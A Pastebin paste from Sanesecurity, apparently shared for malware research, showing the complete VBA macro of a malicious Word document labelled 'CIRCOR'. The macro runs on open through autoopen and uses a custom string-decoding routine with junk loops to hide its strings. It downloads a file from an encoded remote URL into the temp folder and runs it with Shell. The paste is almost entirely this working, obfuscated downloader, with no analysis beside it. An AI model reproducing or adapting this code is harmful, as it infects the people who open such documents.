Advertisement
Sanesecurity

CIRCOR decoded 2

Feb 11th, 2015
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.94 KB | None | 0 0
  1. http://sanesecurity.blogspot.co.uk/
  2. Sanesecurity ClamAV blog: zero hour malware, phishing and scams
  3. A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
  4.  
  5. Attribute VB_Name = "ThisDocument"
  6. Attribute VB_Base = "1Normal.ThisDocument"
  7. Attribute VB_GlobalNameSpace = False
  8. Attribute VB_Creatable = False
  9. Attribute VB_PredeclaredId = True
  10. Attribute VB_Exposed = True
  11. Attribute VB_TemplateDerived = True
  12. Attribute VB_Customizable = True
  13. Private Const XIUaVXAW = "mIM6G1Nr820XQ1wy90D4eJR2R21cJt21V90kp4VY18AKT48Oq1WDE288gqAwLsl0Q9Nxj282D3grq24O3s24LpjU8W31W92uvEl2u82MnF8vi27R1oP63mgP0o5w2wmhg"
  14. Private Const jTIH = "9R7L28D223E3663y8763g570380e839s443i570374y03502E15f64n2380V3570367o2cJZ2n7k3434Y34s28224114m391O03944Kx3434370K626y863M332C3604S3434336h63z944UqwF"
  15. Private Const W0Iv = "1cN1U69k586R7wChe0w6Q986t2K82t320p7g"
  16. Private Const J4OR = "g9RS6F1sl6zi664VRvC704616gxss60mv8z40K0p3e68NWfIfN612Rq8v704oyC6iA16d60VN85z7KQ66OLE72XS6I72640jxN5Oxv"
  17. Private Const OPc8AGh8Ym = "qujEy69B9O27Fo6k00X8n740B547uC2Cu547dm2lgwZ0h7dx7654S72Df3O4D9z676Sf7o691G20hM7bfb676dLZx"
  18. Private Const gglB8IHj3Ao = "x1ek57s2Y0nEYDby6cC380t63qZ8x0GR61n60GjIHzdg3190o25xZ8ZH5h2t58xqP5Je654FyUC5vp6yrS5456A54ITAs525Oly30rB62j7u0FoV53T35uCNC6G16ma0FJ57kvz7QO5oa5G5fn0053Wn3qz5k6Nw160Kda6H1Hef6V0e5c94xq0q5Bzgn775Y53gdNwdaKM0U9Lw553o5hzBhi6p0a505it445fviCMK5rW5556cjv3k25AqDN253CI0w54gdh4x561o0cjFk52PO53TN0E64GdH35muQT58ko8m5258f5uoaS5k8q30zjTa6K3wd2L5Vm2585ieH539Wqxct0gY57B7Ez5h60d5z0Xo25ak3pB0i5v5i55Ufi66l0MmKW05w5BA5w5vq2is"
  19. Private Const tTR7Y = "81J4kv91Q3mu1S0o89G1m2M5411Wb5b5aK12d32127Ysm611yD5c51e2xq101YE13t3c5j0e6d7do7zg0a115pB5tuQ1188ToEf310SD111Pxq111CM9rW13wv133w1v1265ry12CN76s1Z111hx1I19rL9oFuj8691OPE0781Jr1O66111J1Fak10mT89J12u76Qz9k7"
  20. Private Const YKWpkYBliB = "/Extract_Enc_Key/"
  21. Private Const yeSCqp = "/ aYP/"
  22. Private Const TDO = "0"
  23. Private Const eVkdI = "/ yiK/"
  24. Private Const BgpWu5EeNJM = "/Extract_Char_Size/"
  25. Private Const tGZU = ""
  26. Sub autoopen()
  27.  
  28. Dim fso, tempfile
  29.  
  30. Dim aPWAtnYp As Integer
  31. aPWAtnYp = 8
  32. Do While aPWAtnYp < 88
  33. DoEvents: aPWAtnYp = aPWAtnYp + 1
  34. Loop
  35.  
  36. Set fso = CreateObject(RoV(tTR7Y))
  37.  
  38. Dim tfolder, tname, tfile
  39.  
  40. Dim oJJHzlix As Integer
  41. oJJHzlix = 9
  42. Do While oJJHzlix < 38
  43. DoEvents: oJJHzlix = oJJHzlix + 1
  44. Loop
  45.  
  46. Const TemporaryFolder = 2
  47.  
  48. Dim BNAaAZvS As Integer
  49. BNAaAZvS = 1
  50. Do While BNAaAZvS < 72
  51. DoEvents: BNAaAZvS = BNAaAZvS + 1
  52. Loop
  53.  
  54. Set tfolder = fso.GetSpecialFolder(TemporaryFolder)
  55.  
  56. Dim FpsqzDGe As Integer
  57. FpsqzDGe = 5
  58. Do While FpsqzDGe < 92
  59. DoEvents: FpsqzDGe = FpsqzDGe + 1
  60. Loop
  61.  
  62. strLink = RoV(gglB8IHj3Ao)
  63.  
  64.  
  65. Dim cojLkesR As Integer
  66. cojLkesR = 2
  67. Do While cojLkesR < 85
  68. DoEvents: cojLkesR = cojLkesR + 1
  69. Loop
  70.  
  71. strSaveTo = tfolder & RoV(OPc8AGh8Ym)
  72.  
  73.  
  74.  
  75. Dim evWAycKl As Integer
  76. evWAycKl = 8
  77. Do While evWAycKl < 86
  78. DoEvents: evWAycKl = evWAycKl + 1
  79. Loop
  80.  
  81. Set objHTTP = CreateObject(RoV(J4OR))
  82.  
  83.  
  84. objHTTP.Open RoV(W0Iv), strLink, False
  85.  
  86. Dim TqRHsoAK As Integer
  87. TqRHsoAK = 4
  88. Do While TqRHsoAK < 44
  89. DoEvents: TqRHsoAK = TqRHsoAK + 1
  90. Loop
  91.  
  92. objHTTP.send
  93.  
  94. Dim kDTDxxeg As Integer
  95. kDTDxxeg = 4
  96. Do While kDTDxxeg < 72
  97. DoEvents: kDTDxxeg = kDTDxxeg + 1
  98. Loop
  99.  
  100.  
  101.  
  102. Dim iChVXYlR As Integer
  103. iChVXYlR = 9
  104. Do While iChVXYlR < 92
  105. DoEvents: iChVXYlR = iChVXYlR + 1
  106. Loop
  107.  
  108. Set objFSO = CreateObject(RoV(jTIH))
  109. If objFSO.FileExists(strSaveTo) Then
  110.  
  111. Dim tjEXHIfK As Integer
  112. tjEXHIfK = 2
  113. Do While tjEXHIfK < 85
  114. DoEvents: tjEXHIfK = tjEXHIfK + 1
  115. Loop
  116.  
  117. objFSO.DeleteFile (strSaveTo)
  118. End If
  119.  
  120. If objHTTP.Status = 200 Then
  121. Dim objStream
  122.  
  123. Dim WxRLzJsY As Integer
  124. WxRLzJsY = 6
  125. Do While WxRLzJsY < 38
  126. DoEvents: WxRLzJsY = WxRLzJsY + 1
  127. Loop
  128.  
  129. Set objStream = CreateObject(RoV(XIUaVXAW))
  130.  
  131. Dim UBRHdyDz As Integer
  132. UBRHdyDz = 7
  133. Do While UBRHdyDz < 76
  134. DoEvents: UBRHdyDz = UBRHdyDz + 1
  135. Loop
  136.  
  137. With objStream
  138.  
  139. Dim QEcjjzAr As Integer
  140. QEcjjzAr = 7
  141. Do While QEcjjzAr < 19
  142. DoEvents: QEcjjzAr = QEcjjzAr + 1
  143. Loop
  144.  
  145. .Type = 1
  146.  
  147. Dim KFatPLta As Integer
  148. KFatPLta = 6
  149. Do While KFatPLta < 69
  150. DoEvents: KFatPLta = KFatPLta + 1
  151. Loop
  152.  
  153. .Open
  154.  
  155. Dim UVQhprxk As Integer
  156. UVQhprxk = 7
  157. Do While UVQhprxk < 14
  158. DoEvents: UVQhprxk = UVQhprxk + 1
  159. Loop
  160.  
  161. .Write objHTTP.responseBody
  162.  
  163. Dim IXWZVrmv As Integer
  164. IXWZVrmv = 4
  165. Do While IXWZVrmv < 41
  166. DoEvents: IXWZVrmv = IXWZVrmv + 1
  167. Loop
  168.  
  169. .SaveToFile strSaveTo
  170.  
  171. Dim GucjkXVw As Integer
  172. GucjkXVw = 8
  173. Do While GucjkXVw < 25
  174. DoEvents: GucjkXVw = GucjkXVw + 1
  175. Loop
  176.  
  177. .Close
  178.  
  179. Dim KQkJwKSc As Integer
  180. KQkJwKSc = 6
  181. Do While KQkJwKSc < 69
  182. DoEvents: KQkJwKSc = KQkJwKSc + 1
  183. Loop
  184.  
  185. End With
  186.  
  187. Dim LOAtpKQT As Integer
  188. LOAtpKQT = 9
  189. Do While LOAtpKQT < 31
  190. DoEvents: LOAtpKQT = LOAtpKQT + 1
  191. Loop
  192.  
  193. Set objStream = Nothing
  194. End If
  195.  
  196. If objFSO.FileExists(strSaveTo) Then
  197.  
  198. End If
  199.  
  200. Dim TqTSAzTv As Integer
  201. TqTSAzTv = 4
  202. Do While TqTSAzTv < 72
  203. DoEvents: TqTSAzTv = TqTSAzTv + 1
  204. Loop
  205.  
  206. Shell strSaveTo
  207. End Sub
  208.  
  209. Function RoV(InputStringToBeDecrypted As String) As String
  210.  
  211.  
  212. Dim strText As String
  213. Dim strDecryptedText As String
  214. Dim strKeyNum As String
  215. Dim strChar1 As String
  216. Dim strChar2 As String
  217. Dim nLenght As Integer
  218. Dim nKeyNum As Integer
  219. On Error GoTo ErrorHandler
  220.  
  221. Dim eZZrilCm As Integer
  222. eZZrilCm = 8
  223. Do While eZZrilCm < 25
  224. DoEvents: eZZrilCm = eZZrilCm + 1
  225. Loop
  226.  
  227. strTempText = InputStringToBeDecrypted
  228.  
  229. Dim KQdfURfQ As Integer
  230. KQdfURfQ = 8
  231. Do While KQdfURfQ < 69
  232. DoEvents: KQdfURfQ = KQdfURfQ + 1
  233. Loop
  234.  
  235. strText = strTempText
  236.  
  237. Dim dkVlTigm As Integer
  238. dkVlTigm = 1
  239. Do While dkVlTigm < 43
  240. DoEvents: dkVlTigm = dkVlTigm + 1
  241. Loop
  242.  
  243. strDecryptedText = ""
  244.  
  245. Dim fhiTlifA As Integer
  246. fhiTlifA = 3
  247. Do While fhiTlifA < 15
  248. DoEvents: fhiTlifA = fhiTlifA + 1
  249. Loop
  250.  
  251. strText = Left(strText, Len(strText) - 4)
  252.  
  253. Dim IXMPjSgp As Integer
  254. IXMPjSgp = 4
  255. Do While IXMPjSgp < 13
  256. DoEvents: IXMPjSgp = IXMPjSgp + 1
  257. Loop
  258.  
  259. strText = Right(strText, Len(strText) - 4)
  260.  
  261. Dim mvWUANHY As Integer
  262. mvWUANHY = 4
  263. Do While mvWUANHY < 41
  264. DoEvents: mvWUANHY = mvWUANHY + 1
  265. Loop
  266.  
  267. nCharSize = 0
  268.  
  269. Dim ebGzehgN As Integer
  270. ebGzehgN = 1
  271. Do While ebGzehgN < 58
  272. DoEvents: ebGzehgN = ebGzehgN + 1
  273. Loop
  274.  
  275. Call Extract_Char_Size(strText, nCharSize)
  276.  
  277. Dim kKiTmzPL As Integer
  278. kKiTmzPL = 1
  279. Do While kKiTmzPL < 11
  280. DoEvents: kKiTmzPL = kKiTmzPL + 1
  281. Loop
  282.  
  283. Call Extract_Enc_Key(strText, nCharSize, nEncKey)
  284.  
  285. Dim veShaoww As Integer
  286. veShaoww = 5
  287. Do While veShaoww < 85
  288. DoEvents: veShaoww = veShaoww + 1
  289. Loop
  290.  
  291. nTextLenght = Len(strText)
  292. For nCounter = 1 To Len(strText) Step nCharSize
  293.  
  294. Dim LYIUSDws As Integer
  295. LYIUSDws = 9
  296. Do While LYIUSDws < 31
  297. DoEvents: LYIUSDws = LYIUSDws + 1
  298. Loop
  299.  
  300. strChar1 = Mid(strText, nCounter, nCharSize)
  301.  
  302. Dim vaLFVutQ As Integer
  303. vaLFVutQ = 3
  304. Do While vaLFVutQ < 32
  305. DoEvents: vaLFVutQ = vaLFVutQ + 1
  306. Loop
  307.  
  308. nChar = aYP(strChar1)
  309.  
  310. Dim bBezSueK As Integer
  311. bBezSueK = 5
  312. Do While bBezSueK < 84
  313. DoEvents: bBezSueK = bBezSueK + 1
  314. Loop
  315.  
  316. nChar2 = nChar / nEncKey
  317.  
  318. Dim iNVxfcZd As Integer
  319. iNVxfcZd = 9
  320. Do While iNVxfcZd < 92
  321. DoEvents: iNVxfcZd = iNVxfcZd + 1
  322. Loop
  323.  
  324. strChar2 = Chr(nChar2)
  325.  
  326. Dim wljNYoVy As Integer
  327. wljNYoVy = 2
  328. Do While wljNYoVy < 54
  329. DoEvents: wljNYoVy = wljNYoVy + 1
  330. Loop
  331.  
  332. strDecryptedText = strDecryptedText + strChar2
  333. Next nCounter
  334.  
  335. Dim iBrWqwqZ As Integer
  336. iBrWqwqZ = 9
  337. Do While iBrWqwqZ < 39
  338. DoEvents: iBrWqwqZ = iBrWqwqZ + 1
  339. Loop
  340.  
  341. strDecryptedText = Trim(strDecryptedText)
  342.  
  343. Dim wkxbEuUw As Integer
  344. wkxbEuUw = 5
  345. Do While wkxbEuUw < 25
  346. DoEvents: wkxbEuUw = wkxbEuUw + 1
  347. Loop
  348.  
  349. RoV = strDecryptedText
  350.  
  351. Dim aSIYGAhW As Integer
  352. aSIYGAhW = 8
  353. Do While aSIYGAhW < 27
  354. DoEvents: aSIYGAhW = aSIYGAhW + 1
  355. Loop
  356.  
  357. Exit Function
  358.  
  359. Dim wllPStkR As Integer
  360. wllPStkR = 5
  361. Do While wllPStkR < 25
  362. DoEvents: wllPStkR = wllPStkR + 1
  363. Loop
  364.  
  365. ErrorHandler:
  366. End Function
  367.  
  368.  
  369. Sub Extract_Char_Size(ByRef strText, ByRef nCharSize)
  370.  
  371. Dim EnshTYwl As Integer
  372. EnshTYwl = 6
  373. Do While EnshTYwl < 99
  374. DoEvents: EnshTYwl = EnshTYwl + 1
  375. Loop
  376.  
  377. DecryptParts = DecryptParts & BgpWu5EeNJM
  378.  
  379. Dim iWcxJNtL As Integer
  380. iWcxJNtL = 9
  381. Do While iWcxJNtL < 91
  382. DoEvents: iWcxJNtL = iWcxJNtL + 1
  383. Loop
  384.  
  385. nLeft = Len(strText) \ 2
  386.  
  387. Dim DhIRemFl As Integer
  388. DhIRemFl = 8
  389. Do While DhIRemFl < 27
  390. DoEvents: DhIRemFl = DhIRemFl + 1
  391. Loop
  392.  
  393. strLeft = Left(strText, nLeft)
  394.  
  395. Dim wjEVEPdD As Integer
  396. wjEVEPdD = 2
  397. Do While wjEVEPdD < 25
  398. DoEvents: wjEVEPdD = wjEVEPdD + 1
  399. Loop
  400.  
  401. nRight = Len(strText) - nLeft
  402.  
  403. Dim DjTGskvn As Integer
  404. DjTGskvn = 8
  405. Do While DjTGskvn < 27
  406. DoEvents: DjTGskvn = DjTGskvn + 1
  407. Loop
  408.  
  409. strRight = Right(strText, nRight)
  410.  
  411. Dim htuOiHky As Integer
  412. htuOiHky = 1
  413. Do While htuOiHky < 13
  414. DoEvents: htuOiHky = htuOiHky + 1
  415. Loop
  416.  
  417. strKeyEnc = Right(strLeft, 2)
  418.  
  419. Dim MbkJlpaT As Integer
  420. MbkJlpaT = 6
  421. Do While MbkJlpaT < 15
  422. DoEvents: MbkJlpaT = MbkJlpaT + 1
  423. Loop
  424.  
  425. strKeySize = Left(strRight, 2)
  426.  
  427. Dim bLRMJLJO As Integer
  428. bLRMJLJO = 5
  429. Do While bLRMJLJO < 31
  430. DoEvents: bLRMJLJO = bLRMJLJO + 1
  431. Loop
  432.  
  433. strKeyEnc = yiK(strKeyEnc)
  434.  
  435. Dim oMbglojr As Integer
  436. oMbglojr = 9
  437. Do While oMbglojr < 38
  438. DoEvents: oMbglojr = oMbglojr + 1
  439. Loop
  440.  
  441. strKeySize = yiK(strKeySize)
  442.  
  443. Dim DgPwRZBE As Integer
  444. DgPwRZBE = 8
  445. Do While DgPwRZBE < 55
  446. DoEvents: DgPwRZBE = DgPwRZBE + 1
  447. Loop
  448.  
  449. nKeyEnc = Val(strKeyEnc)
  450.  
  451. Dim lOWEHCIe As Integer
  452. lOWEHCIe = 2
  453. Do While lOWEHCIe < 57
  454. DoEvents: lOWEHCIe = lOWEHCIe + 1
  455. Loop
  456.  
  457. nKeySize = Val(strKeySize)
  458.  
  459. Dim VruPzjkE As Integer
  460. VruPzjkE = 9
  461. Do While VruPzjkE < 73
  462. DoEvents: VruPzjkE = VruPzjkE + 1
  463. Loop
  464.  
  465. nCharSize = nKeySize - nKeyEnc
  466.  
  467. Dim JMnoJxvF As Integer
  468. JMnoJxvF = 6
  469. Do While JMnoJxvF < 23
  470. DoEvents: JMnoJxvF = JMnoJxvF + 1
  471. Loop
  472.  
  473. strText = Left(strLeft, Len(strLeft) - 2) + Right(strRight, Len(strRight) - 2)
  474. End Sub
  475.  
  476. Function yiK(ByVal cString As String) As String
  477.  
  478. Dim xsCZQUsk As Integer
  479. xsCZQUsk = 5
  480. Do While xsCZQUsk < 86
  481. DoEvents: xsCZQUsk = xsCZQUsk + 1
  482. Loop
  483.  
  484. DecryptParts = DecryptParts & eVkdI
  485. For nCounter = 1 To Len(cString)
  486.  
  487. Dim dvmQYGgO As Integer
  488. dvmQYGgO = 3
  489. Do While dvmQYGgO < 68
  490. DoEvents: dvmQYGgO = dvmQYGgO + 1
  491. Loop
  492.  
  493. strChar1 = Mid(cString, nCounter, 1)
  494. If IsNumeric(strChar1) Then
  495.  
  496. Dim PINhUgrm As Integer
  497. PINhUgrm = 7
  498. Do While PINhUgrm < 11
  499. DoEvents: PINhUgrm = PINhUgrm + 1
  500. Loop
  501.  
  502. strTempString = strTempString + strChar1
  503. Else
  504.  
  505. Dim xfFqsnkJ As Integer
  506. xfFqsnkJ = 2
  507. Do While xfFqsnkJ < 63
  508. DoEvents: xfFqsnkJ = xfFqsnkJ + 1
  509. Loop
  510.  
  511. strTempString = strTempString + TDO
  512. End If
  513. Next nCounter
  514.  
  515. Dim FfFphwml As Integer
  516. FfFphwml = 8
  517. Do While FfFphwml < 55
  518. DoEvents: FfFphwml = FfFphwml + 1
  519. Loop
  520.  
  521. yiK = strTempString
  522. End Function
  523.  
  524. Function aYP(strTempText As String) As Integer
  525.  
  526. Dim WcvxYsUT As Integer
  527. WcvxYsUT = 9
  528. Do While WcvxYsUT < 91
  529. DoEvents: WcvxYsUT = WcvxYsUT + 1
  530. Loop
  531.  
  532. DecryptParts = DecryptParts & yeSCqp
  533.  
  534. Dim zIaqNrsZ As Integer
  535. zIaqNrsZ = 1
  536. Do While zIaqNrsZ < 41
  537. DoEvents: zIaqNrsZ = zIaqNrsZ + 1
  538. Loop
  539.  
  540. strTempText = Trim(strTempText)
  541. For nCounter = 1 To Len(strTempText)
  542.  
  543. Dim JWccUXig As Integer
  544. JWccUXig = 8
  545. Do While JWccUXig < 23
  546. DoEvents: JWccUXig = JWccUXig + 1
  547. Loop
  548.  
  549. strChar1 = Mid(strTempText, nCounter, 1)
  550. If IsNumeric(strChar1) Then
  551.  
  552. Dim EnsldimQ As Integer
  553. EnsldimQ = 6
  554. Do While EnsldimQ < 99
  555. DoEvents: EnsldimQ = EnsldimQ + 1
  556. Loop
  557.  
  558. strText = strText + strChar1
  559. End If
  560. Next nCounter
  561.  
  562. Dim lPLFXhwp As Integer
  563. lPLFXhwp = 2
  564. Do While lPLFXhwp < 28
  565. DoEvents: lPLFXhwp = lPLFXhwp + 1
  566. Loop
  567.  
  568. nResult = Val(strText)
  569.  
  570. Dim EAuQJlCY As Integer
  571. EAuQJlCY = 3
  572. Do While EAuQJlCY < 75
  573. DoEvents: EAuQJlCY = EAuQJlCY + 1
  574. Loop
  575.  
  576. aYP = nResult
  577. End Function
  578.  
  579. Sub Extract_Enc_Key(ByRef strText, ByVal nCharSize, ByRef nEncKey)
  580.  
  581. Dim ZZaoofkC As Integer
  582. ZZaoofkC = 3
  583. Do While ZZaoofkC < 75
  584. DoEvents: ZZaoofkC = ZZaoofkC + 1
  585. Loop
  586.  
  587. DecryptParts = DecryptParts & YKWpkYBliB
  588.  
  589. Dim wlwYBlvo As Integer
  590. wlwYBlvo = 5
  591. Do While wlwYBlvo < 25
  592. DoEvents: wlwYBlvo = wlwYBlvo + 1
  593. Loop
  594.  
  595. strEncKey = vbNullString
  596.  
  597. Dim bWlWDoIB As Integer
  598. bWlWDoIB = 3
  599. Do While bWlWDoIB < 93
  600. DoEvents: bWlWDoIB = bWlWDoIB + 1
  601. Loop
  602.  
  603. nLenght = Len(strText) - nCharSize
  604.  
  605. Dim lQDlEgFq As Integer
  606. lQDlEgFq = 4
  607. Do While lQDlEgFq < 43
  608. DoEvents: lQDlEgFq = lQDlEgFq + 1
  609. Loop
  610.  
  611. nLeft = nLenght \ 2
  612.  
  613. Dim snuHlmWx As Integer
  614. snuHlmWx = 3
  615. Do While snuHlmWx < 69
  616. DoEvents: snuHlmWx = snuHlmWx + 1
  617. Loop
  618.  
  619. strLeft = Left(strText, nLeft)
  620.  
  621. Dim PDZiTMSN As Integer
  622. PDZiTMSN = 5
  623. Do While PDZiTMSN < 59
  624. DoEvents: PDZiTMSN = PDZiTMSN + 1
  625. Loop
  626.  
  627. nRight = nLenght - nLeft
  628.  
  629. Dim bCdlyteh As Integer
  630. bCdlyteh = 5
  631. Do While bCdlyteh < 83
  632. DoEvents: bCdlyteh = bCdlyteh + 1
  633. Loop
  634.  
  635. strRight = Right(strText, nRight)
  636.  
  637. Dim VoIOlRMM As Integer
  638. VoIOlRMM = 7
  639. Do While VoIOlRMM < 74
  640. DoEvents: VoIOlRMM = VoIOlRMM + 1
  641. Loop
  642.  
  643. strEncKey = Mid(strText, nLeft + 1, nCharSize)
  644.  
  645. Dim JVremBiP As Integer
  646. JVremBiP = 8
  647. Do While JVremBiP < 24
  648. DoEvents: JVremBiP = JVremBiP + 1
  649. Loop
  650.  
  651. strEncKey = yiK(strEncKey)
  652.  
  653. Dim iVyMzUlc As Integer
  654. iVyMzUlc = 9
  655. Do While iVyMzUlc < 92
  656. DoEvents: iVyMzUlc = iVyMzUlc + 1
  657. Loop
  658.  
  659. nEncKey = Val(Trim(strEncKey))
  660.  
  661. Dim lGlWQmDh As Integer
  662. lGlWQmDh = 4
  663. Do While lGlWQmDh < 72
  664. DoEvents: lGlWQmDh = lGlWQmDh + 1
  665. Loop
  666.  
  667. strText = strLeft + strRight
  668. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement